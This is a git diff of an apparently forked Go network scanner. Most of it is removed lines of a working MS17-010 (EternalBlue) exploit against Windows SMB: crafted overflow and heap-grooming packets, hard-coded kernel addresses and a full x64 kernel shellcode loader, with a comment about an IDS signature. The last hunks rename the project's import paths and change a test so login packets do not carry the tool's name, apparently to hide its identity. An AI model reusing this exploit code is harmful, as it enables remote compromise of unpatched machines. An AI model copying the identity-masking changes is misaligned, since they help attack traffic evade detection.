0x35, 0x00}) - buf.Write([]byte{0x00, 0x00}) - - // native LAN manager: Windows 2000 5.0 - buf.Write([]byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, - 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32}) - buf.Write([]byte{0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, - 0x00, 0x35, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x00, 0x00}) - - // send packet - _, err := buf.WriteTo(conn) - if err != nil { - return nil, nil, err - } - return smb1GetResponse(conn) -} - -// skip smb header, word count, AndXCommand, Reserved, -// AndXOffset, Action, Byte count and a magic 0x41 (A) -func getOSName(raw []byte) (string, error) { - osBuf := bytes.Buffer{} - reader := bytes.NewReader(raw[smbHeaderSize+10:]) - char := make([]byte, 2) - for { - _, err := io.ReadFull(reader, char) - if err != nil { - return "", err - } - if bytes.Equal(char, []byte{0x00, 0x00}) { - break - } - osBuf.Write(char) - } - osBufLen := osBuf.Len() - osName := make([]byte, 0, osBufLen/2) - b := osBuf.Bytes() - for i := 0; i < osBufLen; i += 2 { - osName = append(osName, b[i]) - } - return string(osName), nil -} - -func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader, error) { - buf := bytes.Buffer{} - - // --------NetBIOS Session Service-------- - - // message type - buf.WriteByte(0x00) - // length, it will changed at the end of the function - buf.Write([]byte{0x00, 0x00, 0x00}) - - // --------Server Message Block Protocol-------- - - // server component - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // smb command: Tree Connect AndX - buf.WriteByte(0x75) - // NT status - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write([]byte{0x01, 0x20}) - // process id high - buf.Write([]byte{0x00, 0x00}) - // signature - buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // tree id - buf.Write([]byte{0x00, 0x00}) - // process id - buf.Write([]byte{0x2F, 0x4B}) - // user id - userIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(userIDBuf, userID) - buf.Write(userIDBuf) - // multiplex id - buf.Write([]byte{0xC5, 0x5E}) - - // --------Tree Connect AndX Request-------- - - // word count - buf.WriteByte(0x04) - // AndXCommand: No further commands - buf.WriteByte(0xFF) - // reserved - buf.WriteByte(0x00) - // AndXOffset - buf.Write([]byte{0x00, 0x00}) - // flags - buf.Write([]byte{0x00, 0x00}) - // password length - buf.Write([]byte{0x01, 0x00}) - // byte count - buf.Write([]byte{0x1A, 0x00}) - // password - buf.WriteByte(0x00) - // IPC - host, _, err := net.SplitHostPort(address) - if err != nil { - return nil, err - } - _, _ = fmt.Fprintf(&buf, "\\\\%s\\IPC$", host) - // null byte after ipc added by kev - buf.WriteByte(0x00) - // service - buf.Write([]byte{0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x00}) - - // update packet size - b := buf.Bytes() - sizeBuf := make([]byte, 4) - binary.BigEndian.PutUint32(sizeBuf, uint32(buf.Len()-4)) - copy(b[1:], sizeBuf[1:]) - - // send packet - _, err = buf.WriteTo(conn) - if err != nil { - return nil, err - } - _, header, err := smb1GetResponse(conn) - return header, err -} - -func smb1LargeBuffer(conn net.Conn, header *smbHeader) error { - transHeader, err := sendNTTrans(conn, header.TreeID, header.UserID) - if err != nil { - return fmt.Errorf("failed to send nt trans: %s", err) - } - // initial trans2 request - treeID := transHeader.TreeID - userID := transHeader.UserID - trans2Packet := makeSMB1Trans2ExploitPacket(treeID, userID, 0, "zero") - // send all but the last packet - for i := 1; i < 15; i++ { - packet := makeSMB1Trans2ExploitPacket(treeID, userID, i, "buffer") - trans2Packet = append(trans2Packet, packet...) - } - smb1EchoPacket := makeSMB1EchoPacket(treeID, userID) - trans2Packet = append(trans2Packet, smb1EchoPacket...) - - _, err = conn.Write(trans2Packet) - if err != nil { - return fmt.Errorf("failed to send large buffer: %s", err) - } - _, _, err = smb1GetResponse(conn) - return err -} - -func sendNTTrans(conn net.Conn, treeID, userID uint16) (*smbHeader, error) { - buf := bytes.Buffer{} - - // --------NetBIOS Session Service-------- - - // message type - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x04, 0x38}) - - // --------Server Message Block Protocol-------- - - // SMB1 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // NT Trans - buf.WriteByte(0xA0) - // NT success - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write([]byte{0x07, 0xC0}) - // PID high - buf.Write([]byte{0x00, 0x00}) - // signature1 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // signature2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // tree id - treeIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(treeIDBuf, treeID) - buf.Write(treeIDBuf) - // PID - buf.Write([]byte{0xFF, 0xFE}) - // user id - userIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(userIDBuf, userID) - buf.Write(userIDBuf) - // multiplex id - buf.Write([]byte{0x40, 0x00}) - - // --------NT Trans Request-------- - - // word count - buf.WriteByte(0x14) - // max setup count - buf.WriteByte(0x01) - // reserved - buf.Write([]byte{0x00, 0x00}) - // total param count - buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) - // total data count - buf.Write([]byte{0xd0, 0x03, 0x01, 0x00}) - // max param count - buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) - // max data count - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // param count - buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) - // param offset - buf.Write([]byte{0x4B, 0x00, 0x00, 0x00}) - // data count - buf.Write([]byte{0xd0, 0x03, 0x00, 0x00}) - // data offset - buf.Write([]byte{0x68, 0x00, 0x00, 0x00}) - // setup count - buf.WriteByte(0x01) - // function - buf.Write([]byte{0x00, 0x00}) - // unknown NT transaction (0) setup - buf.Write([]byte{0x00, 0x00}) - // byte count - buf.Write([]byte{0xEC, 0x03}) - // NT parameters - buf.Write(makeZero(0x1F)) - // undocumented - buf.WriteByte(0x01) - buf.Write(makeZero(0x03CD)) - - // send packet - _, err := buf.WriteTo(conn) - if err != nil { - return nil, err - } - _, header, err := smb1GetResponse(conn) - return header, err -} - -func makeSMB1Trans2ExploitPacket(treeID, userID uint16, timeout int, typ string) []byte { - timeout = timeout*0x10 + 3 - buf := bytes.Buffer{} - - // --------NetBIOS Session Service-------- - - // message type - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x10, 0x35}) - - // --------Server Message Block Protocol-------- - // SMB1 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // Trans2 request - buf.WriteByte(0x33) - // NT success - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write([]byte{0x07, 0xC0}) - // PID high - buf.Write([]byte{0x00, 0x00}) - // signature1 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // signature2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // tree id - treeIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(treeIDBuf, treeID) - buf.Write(treeIDBuf) - // PID - buf.Write([]byte{0xFF, 0xFE}) - // user id - userIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(userIDBuf, userID) - buf.Write(userIDBuf) - // multiplex id - buf.Write([]byte{0x40, 0x00}) - - // --------Trans2 Second Request-------- - - // word count - buf.WriteByte(0x09) - // total param count - buf.Write([]byte{0x00, 0x00}) - // total data count - buf.Write([]byte{0x00, 0x10}) - // max param count - buf.Write([]byte{0x00, 0x00}) - // max data count - buf.Write([]byte{0x00, 0x00}) - // max setup count - buf.WriteByte(0x00) - // reserved - buf.WriteByte(0x00) - // flags - buf.Write([]byte{0x00, 0x10}) - // timeouts - buf.Write([]byte{0x35, 0x00, 0xD0}) - // timeout is a single int - buf.WriteByte(byte(timeout)) - // reserved - buf.Write([]byte{0x00, 0x00}) - // parameter count - buf.Write([]byte{0x00, 0x10}) - - switch typ { - case "exploit": - // overflow - buf.Write(bytes.Repeat([]byte{0x41}, 2957)) - buf.Write([]byte{0x80, 0x00, 0xA8, 0x00}) - - buf.Write(makeZero(0x10)) - buf.Write([]byte{0xFF, 0xFF}) - buf.Write(makeZero(0x06)) - buf.Write([]byte{0xFF, 0xFF}) - buf.Write(makeZero(0x16)) - - // x86 addresses - buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF}) - buf.Write(makeZero(0x08)) - buf.Write([]byte{0x20, 0xF0, 0xDF, 0xFF}) - - // x64 addresses - buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - - buf.Write([]byte{0x60, 0x00, 0x04, 0x10}) - buf.Write(makeZero(0x04)) - - buf.Write([]byte{0x80, 0xEF, 0xDF, 0xFF}) - - buf.Write(makeZero(0x04)) - buf.Write([]byte{0x10, 0x00, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.Write([]byte{0x18, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.Write(makeZero(0x10)) - - buf.Write([]byte{0x60, 0x00, 0x04, 0x10}) - buf.Write(makeZero(0x0C)) - buf.Write([]byte{0x90, 0xFF, 0xCF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.Write(makeZero(0x08)) - buf.Write([]byte{0x80, 0x10}) - buf.Write(makeZero(0x0E)) - buf.WriteByte(0x39) - buf.WriteByte(0xBB) - - buf.Write(bytes.Repeat([]byte{0x41}, 965)) - case "zero": - buf.Write(makeZero(2055)) - buf.Write([]byte{0x83, 0xF3}) - - buf.Write(bytes.Repeat([]byte{0x41}, 2039)) - default: - buf.Write(bytes.Repeat([]byte{0x41}, 4096)) - } - return buf.Bytes() -} - -func makeSMB1EchoPacket(treeID, userID uint16) []byte { - buf := bytes.Buffer{} - - // --------NetBIOS Session Service-------- - - // message type - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x00, 0x31}) - - // --------Server Message Block Protocol-------- - // SMB1 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // Echo - buf.WriteByte(0x2B) - // NT success - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write([]byte{0x07, 0xC0}) - // PID high - buf.Write([]byte{0x00, 0x00}) - // signature1 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // signature2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // tree id - treeIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(treeIDBuf, treeID) - buf.Write(treeIDBuf) - // PID - buf.Write([]byte{0xFF, 0xFE}) - // user id - userIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(userIDBuf, userID) - buf.Write(userIDBuf) - // multiplex id - buf.Write([]byte{0x40, 0x00}) - - // --------Echo Request-------- - - // word count - buf.WriteByte(0x01) - // echo count - buf.Write([]byte{0x01, 0x00}) - // byte count - buf.Write([]byte{0x0C, 0x00}) - // echo data - // this is an existing IDS signature, and can be null out - buf.Write([]byte{0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x00}) - - return buf.Bytes() -} - -func smb1FreeHole(address string, start bool) (net.Conn, error) { - conn, err := net.Dial("tcp", address) - if err != nil { - return nil, fmt.Errorf("failed to connect host: %s", err) - } - var ok bool - defer func() { - if !ok { - _ = conn.Close() - } - }() - err = smbClientNegotiate(conn) - if err != nil { - return nil, fmt.Errorf("failed to negotiate: %s", err) - } - var ( - flags2 []byte - vcNum []byte - nativeOS []byte - ) - if start { - flags2 = []byte{0x07, 0xC0} - vcNum = []byte{0x2D, 0x01} - nativeOS = []byte{0xF0, 0xFF, 0x00, 0x00, 0x00} - } else { - flags2 = []byte{0x07, 0x40} - vcNum = []byte{0x2C, 0x01} - nativeOS = []byte{0xF8, 0x87, 0x00, 0x00, 0x00} - } - packet := makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS) - _, err = conn.Write(packet) - if err != nil { - const format = "failed to send smb1 free hole session packet: %s" - return nil, fmt.Errorf(format, err) - } - _, _, err = smb1GetResponse(conn) - if err != nil { - return nil, err - } - ok = true - return conn, nil -} - -func makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS []byte) []byte { - buf := bytes.Buffer{} - - // --------NetBIOS Session Service-------- - - // message type - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x00, 0x51}) - - // --------Server Message Block Protocol-------- - // SMB1 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // Session Setup AndX - buf.WriteByte(0x73) - // NT success - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write(flags2) - // PID high - buf.Write([]byte{0x00, 0x00}) - // signature1 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // signature2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // tree id - buf.Write([]byte{0x00, 0x00}) - // PID - buf.Write([]byte{0xFF, 0xFE}) - // user id - buf.Write([]byte{0x00, 0x00}) - // multiplex id - buf.Write([]byte{0x40, 0x00}) - - // --------Session Setup AndX Request-------- - - // word count - buf.WriteByte(0x0C) - // no further commands - buf.WriteByte(0xFF) - // reserved - buf.WriteByte(0x00) - // AndX offset - buf.Write([]byte{0x00, 0x00}) - // max buffer - buf.Write([]byte{0x04, 0x11}) - // max mpx count - buf.Write([]byte{0x0A, 0x00}) - // VC number - buf.Write(vcNum) - // session key - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // security blob length - buf.Write([]byte{0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // capabilities - buf.Write([]byte{0x00, 0x00, 0x00, 0x80}) - // byte count - buf.Write([]byte{0x16, 0x00}) - // Native OS - buf.Write(nativeOS) - // extra byte params - buf.Write(makeZero(17)) - return buf.Bytes() -} - -func smb2Grooms(address string, grooms int) ([]net.Conn, error) { - header := makeSMB2Header() - var ( - conns []net.Conn - ok bool - ) - defer func() { - if ok { - return - } - for i := 0; i < len(conns); i++ { - _ = conns[i].Close() - } - }() - for i := 0; i < grooms; i++ { - conn, err := net.Dial("tcp", address) - if err != nil { - return nil, fmt.Errorf("failed to connect target: %s", err) - } - _, err = conn.Write(header) - if err != nil { - return nil, fmt.Errorf("failed to send SMB2 header: %s", err) - } - conns = append(conns, conn) - } - ok = true - return conns, nil -} - -func makeSMB2Header() []byte { - buf := bytes.Buffer{} - buf.Write([]byte{0x00, 0x00, 0xFF, 0xF7, 0xFE}) - buf.WriteString("SMB") - buf.Write(makeZero(124)) - return buf.Bytes() -} - -const ( - packetMaxLen = 4204 - packetSetupLen = 497 -) - -func makeSMB2Body(payload []byte) []byte { - const packetMaxPayload = packetMaxLen - packetSetupLen - // padding - buf := bytes.Buffer{} - buf.Write(makeZero(0x08)) - buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) - buf.Write(makeZero(0x1C)) - buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) - buf.Write(makeZero(0x74)) - - // KI_USER_SHARED_DATA addresses - x64Address := []byte{0xb0, 0x00, 0xd0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} - buf.Write(bytes.Repeat(x64Address, 2)) - buf.Write(makeZero(0x10)) - x86Address := []byte{0xC0, 0xF0, 0xDF, 0xFF} - buf.Write(bytes.Repeat(x86Address, 2)) - buf.Write(makeZero(0xC4)) - - // payload address - buf.Write([]byte{0x90, 0xF1, 0xDF, 0xFF}) - buf.Write(makeZero(0x04)) - buf.Write([]byte{0xF0, 0xF1, 0xDF, 0xFF}) - buf.Write(makeZero(0x40)) - - buf.Write([]byte{0xF0, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.Write(makeZero(0x08)) - buf.Write([]byte{0x00, 0x02, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.WriteByte(0x00) - - // set payload - buf.Write(payload) - - // fill out the rest, this can be randomly generated - buf.Write(makeZero(packetMaxPayload - len(payload))) - - return buf.Bytes() -} - -func makeZero(size int) []byte { - return bytes.Repeat([]byte{0}, size) -} - -// loader is used to run user mode sc in the kernel mode. -// reference Metasploit-Framework: -// file: msf/external/source/sc/windows/multi_arch_kernel_queue_apc.asm -// binary: modules/exploits/windows/smb/ms17_010_eternalblue.rb: def make_kernel_sc -var loader = [...]byte{ - 0x31, 0xC9, 0x41, 0xE2, 0x01, 0xC3, 0xB9, 0x82, 0x00, 0x00, 0xC0, 0x0F, 0x32, 0x48, 0xBB, 0xF8, - 0x0F, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x89, 0x53, 0x04, 0x89, 0x03, 0x48, 0x8D, 0x05, 0x0A, - 0x00, 0x00, 0x00, 0x48, 0x89, 0xC2, 0x48, 0xC1, 0xEA, 0x20, 0x0F, 0x30, 0xC3, 0x0F, 0x01, 0xF8, - 0x65, 0x48, 0x89, 0x24, 0x25, 0x10, 0x00, 0x00, 0x00, 0x65, 0x48, 0x8B, 0x24, 0x25, 0xA8, 0x01, - 0x00, 0x00, 0x50, 0x53, 0x51, 0x52, 0x56, 0x57, 0x55, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, - 0x53, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x6A, 0x2B, 0x65, 0xFF, 0x34, 0x25, 0x10, - 0x00, 0x00, 0x00, 0x41, 0x53, 0x6A, 0x33, 0x51, 0x4C, 0x89, 0xD1, 0x48, 0x83, 0xEC, 0x08, 0x55, - 0x48, 0x81, 0xEC, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8D, 0xAC, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, - 0x89, 0x9D, 0xC0, 0x00, 0x00, 0x00, 0x48, 0x89, 0xBD, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xB5, - 0xD0, 0x00, 0x00, 0x00, 0x48, 0xA1, 0xF8, 0x0F, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x89, - 0xC2, 0x48, 0xC1, 0xEA, 0x20, 0x48, 0x31, 0xDB, 0xFF, 0xCB, 0x48, 0x21, 0xD8, 0xB9, 0x82, 0x00, - 0x00, 0xC0, 0x0F, 0x30, 0xFB, 0xE8, 0x38, 0x00, 0x00, 0x00, 0xFA, 0x65, 0x48, 0x8B, 0x24, 0x25, - 0xA8, 0x01, 0x00, 0x00, 0x48, 0x83, 0xEC, 0x78, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, - 0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59, 0x41, 0x58, 0x5D, 0x5F, 0x5E, 0x5A, 0x59, 0x5B, 0x58, 0x65, - 0x48, 0x8B, 0x24, 0x25, 0x10, 0x00, 0x00, 0x00, 0x0F, 0x01, 0xF8, 0xFF, 0x24, 0x25, 0xF8, 0x0F, - 0xD0, 0xFF, 0x56, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x53, 0x55, 0x48, 0x89, 0xE5, - 0x66, 0x83, 0xE4, 0xF0, 0x48, 0x83, 0xEC, 0x20, 0x4C, 0x8D, 0x35, 0xE3, 0xFF, 0xFF, 0xFF, 0x65, - 0x4C, 0x8B, 0x3C, 0x25, 0x38, 0x00, 0x00, 0x00, 0x4D, 0x8B, 0x7F, 0x04, 0x49, 0xC1, 0xEF, 0x0C, - 0x49, 0xC1, 0xE7, 0x0C, 0x49, 0x81, 0xEF, 0x00, 0x10, 0x00, 0x00, 0x49, 0x8B, 0x37, 0x66, 0x81, - 0xFE, 0x4D, 0x5A, 0x75, 0xEF, 0x41, 0xBB, 0x5C, 0x72, 0x11, 0x62, 0xE8, 0x18, 0x02, 0x00, 0x00, - 0x48, 0x89, 0xC6, 0x48, 0x81, 0xC6, 0x08, 0x03, 0x00, 0x00, 0x41, 0xBB, 0x7A, 0xBA, 0xA3, 0x30, - 0xE8, 0x03, 0x02, 0x00, 0x00, 0x48, 0x89, 0xF1, 0x48, 0x39, 0xF0, 0x77, 0x11, 0x48, 0x8D, 0x90, - 0x00, 0x05, 0x00, 0x00, 0x48, 0x39, 0xF2, 0x72, 0x05, 0x48, 0x29, 0xC6, 0xEB, 0x08, 0x48, 0x8B, - 0x36, 0x48, 0x39, 0xCE, 0x75, 0xE2, 0x49, 0x89, 0xF4, 0x31, 0xDB, 0x89, 0xD9, 0x83, 0xC1, 0x04, - 0x81, 0xF9, 0x00, 0x00, 0x01, 0x00, 0x0F, 0x8D, 0x66, 0x01, 0x00, 0x00, 0x4C, 0x89, 0xF2, 0x89, - 0xCB, 0x41, 0xBB, 0x66, 0x55, 0xA2, 0x4B, 0xE8, 0xBC, 0x01, 0x00, 0x00, 0x85, 0xC0, 0x75, 0xDB, - 0x49, 0x8B, 0x0E, 0x41, 0xBB, 0xA3, 0x6F, 0x72, 0x2D, 0xE8, 0xAA, 0x01, 0x00, 0x00, 0x48, 0x89, - 0xC6, 0xE8, 0x50, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF9, 0xBF, 0x77, 0x1F, 0xDD, 0x75, 0xBC, 0x49, - 0x8B, 0x1E, 0x4D, 0x8D, 0x6E, 0x10, 0x4C, 0x89, 0xEA, 0x48, 0x89, 0xD9, 0x41, 0xBB, 0xE5, 0x24, - 0x11, 0xDC, 0xE8, 0x81, 0x01, 0x00, 0x00, 0x6A, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x4D, 0x8D, - 0x4E, 0x08, 0x49, 0xC7, 0x01, 0x00, 0x10, 0x00, 0x00, 0x4D, 0x31, 0xC0, 0x4C, 0x89, 0xF2, 0x31, - 0xC9, 0x48, 0x89, 0x0A, 0x48, 0xF7, 0xD1, 0x41, 0xBB, 0x4B, 0xCA, 0x0A, 0xEE, 0x48, 0x83, 0xEC, - 0x20, 0xE8, 0x52, 0x01, 0x00, 0x00, 0x85, 0xC0, 0x0F, 0x85, 0xC8, 0x00, 0x00, 0x00, 0x49, 0x8B, - 0x3E, 0x48, 0x8D, 0x35, 0xE9, 0x00, 0x00, 0x00, 0x31, 0xC9, 0x66, 0x03, 0x0D, 0xD7, 0x01, 0x00, - 0x00, 0x66, 0x81, 0xC1, 0xF9, 0x00, 0xF3, 0xA4, 0x48, 0x89, 0xDE, 0x48, 0x81, 0xC6, 0x08, 0x03, - 0x00, 0x00, 0x48, 0x89, 0xF1, 0x48, 0x8B, 0x11, 0x4C, 0x29, 0xE2, 0x51, 0x52, 0x48, 0x89, 0xD1, - 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0x26, 0x40, 0x36, 0x9D, 0xE8, 0x09, 0x01, 0x00, 0x00, 0x48, - 0x83, 0xC4, 0x20, 0x5A, 0x59, 0x48, 0x85, 0xC0, 0x74, 0x18, 0x48, 0x8B, 0x80, 0xC8, 0x02, 0x00, - 0x00, 0x48, 0x85, 0xC0, 0x74, 0x0C, 0x48, 0x83, 0xC2, 0x4C, 0x8B, 0x02, 0x0F, 0xBA, 0xE0, 0x05, - 0x72, 0x05, 0x48, 0x8B, 0x09, 0xEB, 0xBE, 0x48, 0x83, 0xEA, 0x4C, 0x49, 0x89, 0xD4, 0x31, 0xD2, - 0x80, 0xC2, 0x90, 0x31, 0xC9, 0x41, 0xBB, 0x26, 0xAC, 0x50, 0x91, 0xE8, 0xC8, 0x00, 0x00, 0x00, - 0x48, 0x89, 0xC1, 0x4C, 0x8D, 0x89, 0x80, 0x00, 0x00, 0x00, 0x41, 0xC6, 0x01, 0xC3, 0x4C, 0x89, - 0xE2, 0x49, 0x89, 0xC4, 0x4D, 0x31, 0xC0, 0x41, 0x50, 0x6A, 0x01, 0x49, 0x8B, 0x06, 0x50, 0x41, - 0x50, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0xAC, 0xCE, 0x55, 0x4B, 0xE8, 0x98, 0x00, 0x00, 0x00, - 0x31, 0xD2, 0x52, 0x52, 0x41, 0x58, 0x41, 0x59, 0x4C, 0x89, 0xE1, 0x41, 0xBB, 0x18, 0x38, 0x09, - 0x9E, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x4C, 0x89, 0xE9, 0x41, 0xBB, 0x22, 0xB7, 0xB3, 0x7D, 0xE8, - 0x74, 0x00, 0x00, 0x00, 0x48, 0x89, 0xD9, 0x41, 0xBB, 0x0D, 0xE2, 0x4D, 0x85, 0xE8, 0x66, 0x00, - 0x00, 0x00, 0x48, 0x89, 0xEC, 0x5D, 0x5B, 0x41, 0x5C, 0x41, 0x5D, 0x41, 0x5E, 0x41, 0x5F, 0x5E, - 0xC3, 0xE9, 0xB5, 0x00, 0x00, 0x00, 0x4D, 0x31, 0xC9, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, - 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xEC, 0xC3, 0x31, 0xD2, - 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x12, - 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x45, 0x31, 0xC9, 0x31, 0xC0, 0xAC, 0x3C, - 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xEE, 0x45, 0x39, - 0xD9, 0x75, 0xDA, 0x4C, 0x8B, 0x7A, 0x20, 0xC3, 0x4C, 0x89, 0xF8, 0x41, 0x51, 0x41, 0x50, 0x52, - 0x51, 0x56, 0x48, 0x89, 0xC2, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, - 0x00, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0x48, - 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0xE8, 0x78, 0xFF, 0xFF, 0xFF, 0x45, 0x39, - 0xD9, 0x75, 0xEC, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, - 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x5E, 0x59, - 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5B, 0x41, 0x53, 0xFF, 0xE0, 0x56, 0x41, 0x57, 0x55, 0x48, - 0x89, 0xE5, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0xDA, 0x16, 0xAF, 0x92, 0xE8, 0x4D, 0xFF, 0xFF, - 0xFF, 0x31, 0xC9, 0x51, 0x51, 0x51, 0x51, 0x41, 0x59, 0x4C, 0x8D, 0x05, 0x1A, 0x00, 0x00, 0x00, - 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0x46, 0x45, 0x1B, 0x22, 0xE8, 0x68, 0xFF, 0xFF, 0xFF, - 0x48, 0x89, 0xEC, 0x5D, 0x41, 0x5F, 0x5E, 0xC3, -} diff --git a/plugins/services/ms17010_test.go b/plugins/services/ms17010_test.go index 87847dfe..786b4b07 100644 --- a/plugins/services/ms17010_test.go +++ b/plugins/services/ms17010_test.go @@ -9,7 +9,7 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) func TestMS17010LegacyRequestsDecodeToSMB1Packets(t *testing.T) { diff --git a/plugins/services/mssql.go b/plugins/services/mssql.go index b26ecca6..5cda27e0 100644 --- a/plugins/services/mssql.go +++ b/plugins/services/mssql.go @@ -7,9 +7,9 @@ import ( "fmt" "strings" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // MSSQLPlugin MSSQL扫描插件 diff --git a/plugins/services/mssql_raw_test.go b/plugins/services/mssql_raw_test.go index e404b287..b59238e0 100644 --- a/plugins/services/mssql_raw_test.go +++ b/plugins/services/mssql_raw_test.go @@ -25,7 +25,7 @@ func TestMSSQLLogin7DoesNotExposeClientIdentity(t *testing.T) { t.Fatalf("client pid = %d, want 0", pid) } - for _, value := range []string{"fscan", "target-host"} { + for _, value := range []string{"jdbc", "target-host"} { if bytes.Contains(payload, mssqlUCS2(value)) { t.Fatalf("login packet contains client-identifying value %q", value) } diff --git a/plugins/services/mysql.go b/plugins/services/mysql.go index 030324f6..a00d86f8 100644 --- a/plugins/services/mysql.go +++ b/plugins/services/mysql.go @@ -14,9 +14,9 @@ import ( "time" "github.com/go-sql-driver/mysql" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) type 